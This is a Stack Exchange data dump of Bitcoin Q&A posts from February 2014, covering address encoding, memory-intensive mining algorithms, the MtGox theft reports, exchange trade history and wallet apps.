  <row Id="22751" PostTypeId="2" ParentId="22748" CreationDate="2014-02-27T11:06:42.677" Score="6" Body="&lt;p&gt;The 160-bit hash that is encoded in addresses is uniformly distributed (&quot;truely random&quot; as you call it), but the base58 encoded form is not. Some characters are more likely to occur at the start, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate, consided the set of all integers between 0 and 1999. Even though each of those numbers is equally likely to be chosen, this is not true for its decimal representation. There, half of the numbers start with a 1!&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-27T11:06:42.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22752" PostTypeId="1" CreationDate="2014-02-27T11:46:52.880" Score="6" ViewCount="25288" Body="&lt;p&gt;Are there coins that demand system memory rather than computing power? Which coin brings me the most mining profit if I have a lot of system DDR3 RAM (say 64 GB or more) in my personal computer?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-03-06T21:48:49.043" LastActivityDate="2021-10-29T06:15:17.340" Title="Coins with memory-intensive mining" Tags="|altcoin|currencies|mining-profitability|mining-hardware|memory|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22753" PostTypeId="2" ParentId="22731" CreationDate="2014-02-27T11:48:55.387" Score="1" Body="&lt;p&gt;Basically the effects would be negligible, so no. The risers would on a very tiny scale slow down the transmission of block information between the card and the motherboard however the transmission of data is not the bottle-neck when it comes to 'mining' since the actual size of the data files is quite small on the order of Mega bytes in size. The  bottle neck in mining speed comes from the cards ability brute force calculate in-order to decrypt the block-chain. This is another reason 16x pcie card slots are not any faster than 1x slots because the rating refers to data transmission and is only really important to video intensive use, like gammers.  &lt;/p&gt;&#xA;" OwnerUserId="13957" LastActivityDate="2014-02-27T11:48:55.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22754" PostTypeId="2" ParentId="22752" CreationDate="2014-02-27T12:33:48.500" Score="9" Body="&lt;p&gt;There are memory intensive mining algorithms, but usually the &quot;memory&quot; being discussed is not of the DDR3 variety. That 64 GB of DDR3 RAM you have is an excellent resource for many computing tasks (and enough to make me jealous), but is also dramatically slower than the L1 and L2 cache physically on the chip with your CPU. This is the memory we're talking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory intensive mining algorithms came about in reaction to GPU (and later FPGA and ASIC) acceleration. Because GPUs have so many cores, each core has access to only a miniscule amount of RAM, often an amount measured in kilobytes. Because Bitcoin's SHA256 mining algorithm has a tiny memory footprint, it runs quite nicely on such hardware. Some say this is a problem, others disagree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPUs, on the other hand, have relatively few cores sharing access to, on average, 64 to 128 kB of L1 cache and 2 to 4 MB of L2 cache. By virtue of being on the same die as the CPU cores, this RAM is extraordinarily fast and has amazingly low latency. This, it turns out, is an exploitable difference that memory intensive algorithms take advantage of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ideal implementation of one of these &quot;memory intensive&quot; algorithms (for mining) will be tuned such that the RAM footprint required is higher than the few kilobytes available to GPU cores, but lower than the few megabytes typically available in L1/L2. In this way, the mining algorithm can be run at high efficiency on standard CPUs, thus maximizing the hashrate available to secure the network, but is still resistant to GPU/FPGA/ASIC acceleration. The CryptoNote algorithm used by Monero is a good example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, few altcoins take such care with their implementation. Most either use so little memory that they are freely accelerated with GPUs or use so much that all mining processes eat into your good old DDR3 and lose efficiency. In short, there is almost certainly a coin out there that can make use of such an obscene amount of system memory, but that's almost certainly a sign that they did it wrong since the goal of such an algorithm should be to maximize hashrate on the target device (CPUs) for the sake of network security while preventing acceleration from non-target devices (GPUs, FPGAs, ASICs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any event, all proof-of-work systems currently in use are mathematical in nature. This makes the memory requirements somewhat secondary in nature - you will still require a lot of computing power to mine and it is this computing power that will largely determine your results. In a few cases the extra RAM may help, but your CPU will still be doing the heavy lifting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Special note:&lt;/strong&gt; &lt;em&gt;In certain non-mining implementations of such memory intensive algorithms (like the scrypt implementation used in BIP38 encrypted keys) the poor efficiency caused by exceeding available on-chip cache can actually be a positive effect and is often used intentionally. By forcing the process to use slower memory we can throttle the number of decryption attempts an attacker is able to make in a given timeframe, which dramatically reduces the effectiveness of brute force attacks. This is why decrypting your BIP38 key on a phone often takes 30+ seconds - it's a feature, not a bug.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="84226" LastEditDate="2018-08-06T09:36:35.650" LastActivityDate="2018-08-06T09:36:35.650" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22756" PostTypeId="2" ParentId="22150" CreationDate="2014-02-27T13:37:12.687" Score="2" Body="&lt;p&gt;It will take until bitcoind version 0.9 for wide spread support for relaying OP_RETURN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding fees will not help. Currently, transactions with OP_RETURN are by default not relayed by the main net (last sentence):&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Provably_Unspendable.2FPrunable_Outputs&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script#Provably_Unspendable.2FPrunable_Outputs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool seems to accept them, so that could be a solution for you: submit them to a P2Pool node.&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2014-02-27T13:37:12.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22757" PostTypeId="2" ParentId="22752" CreationDate="2014-02-27T14:16:59.483" Score="5" Body="&lt;p&gt;With such fast main memory, I'm sure your machine would be pretty good for mining &lt;a href=&quot;http://memorycoin.org/faq/&quot; rel=&quot;noreferrer&quot;&gt;MemoryCoin&lt;/a&gt; whose proof-of-work algorithm, Momentum, requires a lot of RAM. Copied verbatim from its tech page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each hash requires 1GB of Memory to perform and encrypts 50GB of data.&#xA;  By contrast, the verification only requires 128K and less than one&#xA;  10th of a second&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Be warned, though, it also requires a fast CPU (from same page: &quot;it has a large AES component – chips with AES-NI instruction sets will fare &lt;em&gt;much&lt;/em&gt; better&quot;). Plus, I don't know of many exchanges that deal with it, nor how much it's worth - so can't say for sure if mining such coin would be the most &lt;em&gt;profitable&lt;/em&gt; for you or simply the most efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure your machine would have a slight advantage at mining other CPU-only coins, have you tried Protoshares or Quarkcoin?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-27T14:16:59.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22758" PostTypeId="2" ParentId="22717" CreationDate="2014-02-27T14:56:18.853" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Were bitcoins actually stolen&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Almost certainly yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; (March 21 2014): 200,000 bitcoin were found recently &lt;a href=&quot;http://www.theregister.co.uk/2014/03/21/mtgox_finds_200000_bitcoin_in_old_wallets/&quot; rel=&quot;nofollow&quot;&gt;down the back of an old MtGox sofa (more or less)&lt;/a&gt; So some of the bitcoins might have been merely carelessly mislaid. No one has suggested that these bitcoins may have been deliberately hidden by an insider for later retrieval. So far it's reported as incompetence rather than criminal theft. That still leaves a much larger number of bitcoins that currently appear to have been stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forbes &lt;a href=&quot;http://www.forbes.com/sites/cameronkeng/2014/02/25/bitcoins-mt-gox-shuts-down-loses-409200000-dollars-recovery-steps-and-taking-your-tax-losses/&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The company’s shutdown is rumored to be caused by a “hack” or “security breach” that resulted in a loss up to 744,000 BTC or $409,200,000. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The BBC &lt;a href=&quot;http://www.bbc.co.uk/news/technology-26352442&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An estimated 744,000 bitcoins - about $350m (£210m) - are believed to have been &lt;strong&gt;stolen&lt;/strong&gt; thanks to a loophole in Tokyo-based MtGox's security.&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  A leaked report - which Mr Karpeles has confirmed is authentic - said the huge theft had made MtGox insolvent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.scribd.com/doc/209050732/MtGox-Situation-Crisis-Strategy-Draft&quot; rel=&quot;nofollow&quot;&gt;leaked report referred to&lt;/a&gt;  says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At this point 744,408 BTC are missing due to malleability-related &lt;strong&gt;theft&lt;/strong&gt; which went unnoticed for several years. The cold storage has been wiped out due to a leak in the hot wallet&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  MtGox's main problems are massive &lt;strong&gt;robbery&lt;/strong&gt; and poor bitcoin accounting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yahoo news &lt;a href=&quot;http://news.yahoo.com/tokyo-bitcoin-exchange-files-bankruptcy-102841684--finance.html&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt; (on 2014-02-28)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CEO Mark Karpeles appeared before Japanese TV news cameras, bowing deeply. He said a weakness in the exchange's systems was behind a massive loss of the virtual currency involving 750,000 bitcoins from users and 100,000 of the company's own bitcoins. That would amount to about $425 million at recent prices.&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  It remains unclear if the missing bitcoins were &lt;strong&gt;stolen, voided by technological flaws or both&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bloomberg &lt;a href=&quot;http://www.bloomberg.com/news/2014-02-28/mt-gox-exchange-files-for-bankruptcy.html&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“The company believes there is a high possibility that the Bitcoins were &lt;strong&gt;stolen&lt;/strong&gt;,” Mt. Gox said in a statement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2014-03-21T11:32:33.777" LastActivityDate="2014-03-21T11:32:33.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22759" PostTypeId="1" AcceptedAnswerId="22770" CreationDate="2014-02-27T15:09:09.230" Score="4" ViewCount="5031" Body="&lt;p&gt;Why is there a type column in the trade history on exchanges like btc-e.com and vircurex.com? If all the trades are between two users on the exchange why is a buy/sell type needed? And if there is one entry for buy shouldn't there be an equal entry for sell because the person buying is buying from someone who is selling.&lt;/p&gt;&#xA;" OwnerUserId="13966" LastActivityDate="2018-01-15T04:16:53.623" Title="Why do exchanges have a buy/sell column in their trade history?" Tags="|exchanges|trading|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22760" PostTypeId="2" ParentId="22641" CreationDate="2014-02-27T15:13:02.973" Score="2" Body="&lt;p&gt;I think this question deserves a simple and direct answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What are my options?&lt;/strong&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;None&lt;/strong&gt;, essentially.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forget about your 31 bitcoins - they are now in the hands of a thief and are untraceable.&lt;/li&gt;&#xA;&lt;li&gt;Wait several months, perhaps years and see whether some fractional return results if&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MtGox is resurrected in another form and makes some effort to repay creditors from future earnings.&lt;/li&gt;&#xA;&lt;li&gt;Japanese investigators can salvage anything &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Is there anyone who can help me in my situation?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. No-one can help you to retrieve your 31 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;2013-02-28 &lt;a href=&quot;http://news.yahoo.com/tokyo-bitcoin-exchange-files-bankruptcy-102841684--finance.html&quot; rel=&quot;nofollow&quot;&gt;Yahoo News&lt;/a&gt; report&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;We're at a loss for how to help them,&quot; said Yuko Otsuki, who works in the [Consumer Affairs] agency's counseling department.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2014-02-28T17:02:56.733" LastActivityDate="2014-02-28T17:02:56.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22763" PostTypeId="2" ParentId="22682" CreationDate="2014-02-27T15:53:43.507" Score="1" Body="&lt;p&gt;If this graphic is true, the miner's PCB should run at around 125°F (51°C)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ZJnH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, If &lt;a href=&quot;http://www.amazon.com/review/R3FUPZEXR3K3VL/ref=cm_cr_pr_viewpnt#R3FUPZEXR3K3VL&quot; rel=&quot;nofollow noreferrer&quot;&gt;reviews&lt;/a&gt; are to be believed, you shouldn't run it at all.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2014-02-27T16:02:23.903" LastActivityDate="2014-02-27T16:02:23.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22764" PostTypeId="1" AcceptedAnswerId="38116" CreationDate="2014-02-27T16:11:03.727" Score="0" ViewCount="753" Body="&lt;p&gt;Is there a gambling site where they expose an API for it? I want to build an application that leverages a crypto/bitcoin gambling site's bank roll. Just-dice seems to have the biggest bank roll to take advantage of, has anything been built for something like this?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2019-11-01T21:08:54.283" Title="Just-Dice or some other Gambling API?" Tags="|api|gambling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22766" PostTypeId="2" ParentId="21194" CreationDate="2014-02-27T17:14:47.997" Score="2" Body="&lt;p&gt;Did you do these steps to make sure stratum had the correct stuff compiled?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install python-twisted python-mysqldb python-dev python-setuptools python-memcache python-simplejson&lt;br&gt;&#xA;  easy_install -U distribute&lt;br&gt;&#xA;  git clone &lt;a href=&quot;http://github.com/Tydus/litecoin_scrypt.git&quot; rel=&quot;nofollow&quot;&gt;http://github.com/Tydus/litecoin_scrypt.git&lt;/a&gt;&lt;br&gt;&#xA;  git clone &lt;a href=&quot;http://github.com/ahmedbodi/stratum-mining.git&quot; rel=&quot;nofollow&quot;&gt;http://github.com/ahmedbodi/stratum-mining.git&lt;/a&gt;&lt;br&gt;&#xA;  git clone &lt;a href=&quot;http://github.com/ahmedbodi/stratum.git&quot; rel=&quot;nofollow&quot;&gt;http://github.com/ahmedbodi/stratum.git&lt;/a&gt;&lt;br&gt;&#xA;  cd stratum-mining&lt;br&gt;&#xA;  git submodule init&lt;br&gt;&#xA;  git submodule update&lt;br&gt;&#xA;  cd externals/litecoin_scrypt&lt;br&gt;&#xA;  sudo python setup.py install&lt;br&gt;&#xA;  cd ~&lt;br&gt;&#xA;  cd stratum-mining/externals/stratum&lt;br&gt;&#xA;  sudo python setup.py install  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="5406" LastEditDate="2014-03-02T10:11:26.207" LastActivityDate="2014-03-02T10:11:26.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22768" PostTypeId="2" ParentId="22759" CreationDate="2014-02-27T17:35:48.613" Score="0" Body="&lt;p&gt;These are orders. You place an order to buy at, say $600, and it is listed on that list as a bit. It will stay there until someone places a ask to sell at $600 or lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spread between them is an indication of liquidity, or how easy it is to make a transaction go through on the site. If they are very close, lots of BTC/USD is likely to be able to be bought/sold quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another indication you can gain from this is market depth. You can look at the list and figure out how much will the price change if I buy $1000. Say there is a sell order for .1 BTC that costs $100 ($1000 BTC/USD), another with .5 BTC for $505 ($1010 BTC/USD and another with .38 BTC for $395 ($1020 BTC/USD). By spending your $1000 at one time, you will not be able to spend all of it at the current price ($1000 BTC/USD), but will end up buying those .38 BTC for $1020. The more money is necessary to more the price significantly, the deeper the market is and the easier it is to make large transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, look up bid/ask spread and market depth.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-02-27T17:35:48.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22769" PostTypeId="1" AcceptedAnswerId="22829" CreationDate="2014-02-27T17:46:01.807" Score="1" ViewCount="82" Body="&lt;p&gt;I would like to create a detailed overview about the exchange rate of bitcoins over the last months. Unfortunately, all I can find are lists with one value per day, but I would like to have much more detail (one value per hour at last).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is such a detailed list available somewhere on the internet?&lt;/p&gt;&#xA;" OwnerUserId="13973" LastEditorUserId="2306" LastEditDate="2015-01-24T17:18:43.623" LastActivityDate="2015-01-24T17:18:43.623" Title="Detailed overview over old exchange rate" Tags="|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22770" PostTypeId="2" ParentId="22759" CreationDate="2014-02-27T17:54:44.977" Score="14" Body="&lt;p&gt;Yes, if someone buys at a particular price, someone else must sell at that price. But they didn't place their orders at the same time. The buy/sell indicates the direction of the filled order. This is needed to make sense of the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine an apple exchange where no trades are occurring. Then someone walks in and buys or sells an apple for $1. Do you care whether the person who walked in bought or sold? Well, yes. If the person bought an apple for $1, that means before they walked in, someone was willing to sell an apple for $1 but nobody would buy it. If that person sold an apple for $1, that means before they walked in, someone was willing to buy an apple for $1 but nobody would sell it. So without knowing the direction of the transaction, you can't tell what the price is telling you about the state of the market prior to that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very important in a market that isn't very liquid. For example, say the cheapest anyone is willing to sell a Bitcoin is $1,000, but the most anyone is willing to pay for a Bitcoin is $900. If it stays that way for a while, all the &lt;em&gt;executing&lt;/em&gt; buys will be at $1,000 and all the &lt;em&gt;executing&lt;/em&gt; sells will be at $900. If you just saw alternating $1,000 and $900 prices without knowing all the buys were at $1,000 and all the sells were at $900, you'd think the price was changing when it's actually constant. Orders that don't execute at all aren't listed because no money changes hands. So the people selling at $1,000 and buying at $900 won't be listed as transactions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-02-27T18:16:19.797" LastActivityDate="2014-02-27T18:16:19.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22771" PostTypeId="2" ParentId="21249" CreationDate="2014-02-27T18:14:25.180" Score="0" Body="&lt;p&gt;It's an inferior design for a lot of reasons. The main one is this -- say you need to do a little bit of work for each of 60 peers. Do you really want to have to do 60 context switches to do it? Also, you'd be letting the scheduler decide what work you do, which is never a good thing, especially for a portable, cross-platform program.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-27T18:14:25.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22772" PostTypeId="1" CreationDate="2014-02-27T19:22:11.070" Score="2" ViewCount="106" Body="&lt;p&gt;Anybody have any good resources to learn about bitcoin from an economic standpoint?  Specifically discussing the debate around its deflationary nature?&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2014-02-27T20:43:14.470" Title="Bitcoin from an economic standpoint?" Tags="|economic-theory|deflation|macroeconomics|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22773" PostTypeId="2" ParentId="22697" CreationDate="2014-02-27T19:24:21.140" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://centcoin.org/pennies-cent-f-a-q/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pennies [CENT] F.A.Q.&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;How many coins have been created so far?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;By the 1-8-2014 there will be somewhere in the region of 60 trillion CENT minted. At the 0.00000001 trade price on Cryptsy that gives it a market cap of around $15-20 million, each CENT worth around $0.00000003&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, there appears to be some question as to the continued viability of this coin. For example, the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=359000.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;extremely long thread here about Pennies&lt;/a&gt; appears to conclude with discussions regarding its disappearance from exchanges.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-02-27T19:24:21.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22774" PostTypeId="2" ParentId="22772" CreationDate="2014-02-27T19:40:19.287" Score="1" Body="&lt;p&gt;From what I gather, the deflationary aspects of Bitcoin are tied to the limited supply and  lack of central regulation. I'm still learning about it but here is a collection of articles I put together on the subject: &lt;a href=&quot;http://wayfinder.co/pathways/530d0adaa30064b367000088/an-economic-primer-on-bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://wayfinder.co/pathways/530d0adaa30064b367000088/an-economic-primer-on-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13979" LastActivityDate="2014-02-27T19:40:19.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22775" PostTypeId="2" ParentId="10635" CreationDate="2014-02-27T20:02:52.070" Score="1" Body="&lt;p&gt;You need a bank account in Guyana for people to deposit money. Then you need a server to run the exchange. For the software you can check the answer to this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1447/is-there-an-open-source-bitcoin-exchange&quot;&gt;Is there an open source Bitcoin exchange?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to run you own server you can look at this: &lt;a href=&quot;http://www.buttercoin.com/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.buttercoin.com/#/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13969" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-02-27T21:00:56.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22778" PostTypeId="1" CreationDate="2014-02-27T20:23:58.063" Score="1" ViewCount="227" Body="&lt;p&gt;I have an android phone as I can not afford an iPhone, but my friend has an iPhone. I am using Bitcoin Wallet from Andreas Schildbach and it's really easy. Is there something like that for the iPhone as we can't seem to find it?&lt;/p&gt;&#xA;" OwnerUserId="13969" LastEditorUserId="5406" LastEditDate="2014-08-10T23:28:10.200" LastActivityDate="2021-08-26T05:39:10.450" Title="Is there a wallet app for iPhones?" Tags="|wallet|mobile|ios|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22779" PostTypeId="2" ParentId="22778" CreationDate="2014-02-27T20:24:34.050" Score="2" Body="&lt;p&gt;Apple does not allow Bitcoin wallet applications on its devices.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-27T20:24:34.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22780" PostTypeId="2" ParentId="22778" CreationDate="2014-02-27T20:27:43.807" Score="1" Body="&lt;p&gt;Unfortunately no apps are allowed. Best you can do is just use a web browser.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-27T20:27:43.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22782" PostTypeId="2" ParentId="22772" CreationDate="2014-02-27T20:43:14.470" Score="0" Body="&lt;p&gt;One resource I can recommend is reviewing the &lt;a href=&quot;http://blockchain.info/charts&quot; rel=&quot;nofollow noreferrer&quot;&gt;charts on blockchain.info&lt;/a&gt;.  There is tons of historical information you can gleam by analyzing what has happened previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like past market price in USD, for example: &lt;img src=&quot;https://i.stack.imgur.com/Hv3FX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-02-27T20:43:14.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22783" PostTypeId="2" ParentId="17187" CreationDate="2014-02-27T20:49:36.703" Score="0" Body="&lt;p&gt;Your best bet is to just buy a Bitcoin (a full one while you can) and either: &#xA;a) wait until the price rises and sell for a profit &#xA;b) buy/sell daily for a profit/loss &#xA;c) invest money in an alt coin that you feel will succeed in the long run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining right now is really just a profit loss for anyone coming in that can't afford a couple thousand dollar miners&lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2014-02-27T20:49:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22785" PostTypeId="2" ParentId="22746" CreationDate="2014-02-27T22:19:41.583" Score="0" Body="&lt;p&gt;A chargeback happens when a credit card user disputes a transaction for some reason. Sometimes this might be due to defective goods, or goods that did not arrive, or that the legitimate user of the card did not make the transaction (that is, the credit card details where stolen and used fraudulently). When the chargeback happens, the credit card processor effectively takes back the money from the seller that you had previously paid using the card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions involving the sale of virtual currency (such as buying bitcoins) are particularly subject to abuse involving stolen credit card numbers. For somebody who has stolen credit card numbers, bitcoins are probably more useful than physical goods such as a sack of potatoes. In order to eliminate this risk, the seller of bitcoins does not permit bitcoins to be purchased with credit cards.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-27T22:19:41.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22786" PostTypeId="2" ParentId="22748" CreationDate="2014-02-27T22:47:13.770" Score="1" Body="&lt;p&gt;Specific answer why 1Bitpoin is easier to generate than 1bitpoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address is a base-58 representation of a 192-bit integer (160-bit hash plus a 32-bit checksum). The largest value you can represent is (2^160-1) with the corresponding checksum: 0xfffffffffffffffffffffffffffffffffffffffffa06820b, or the 34-character address &quot;1QLbz7JHiBTspS962RLKV8GndWFwi5j6Qr&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the base-58 alphabet, 'B' &amp;lt; 'Q' &amp;lt; 'b'. So any 34-char string that starts with '1Bitpoin' is valid as long as checksum is correct. But 34-char strings starting '1bitpoin' are all out of range. You can still generate 33-char strings starting with '1bitpoin' but obviously there are much fewer of these.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-27T22:47:13.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22787" PostTypeId="2" ParentId="22748" CreationDate="2014-02-27T22:52:05.417" Score="0" Body="&lt;p&gt;The characters 'i' and 'o' are only hard to generate in the case-insensitive sense, because capital 'I' and 'O' are not valid in base-58.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-27T22:52:05.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
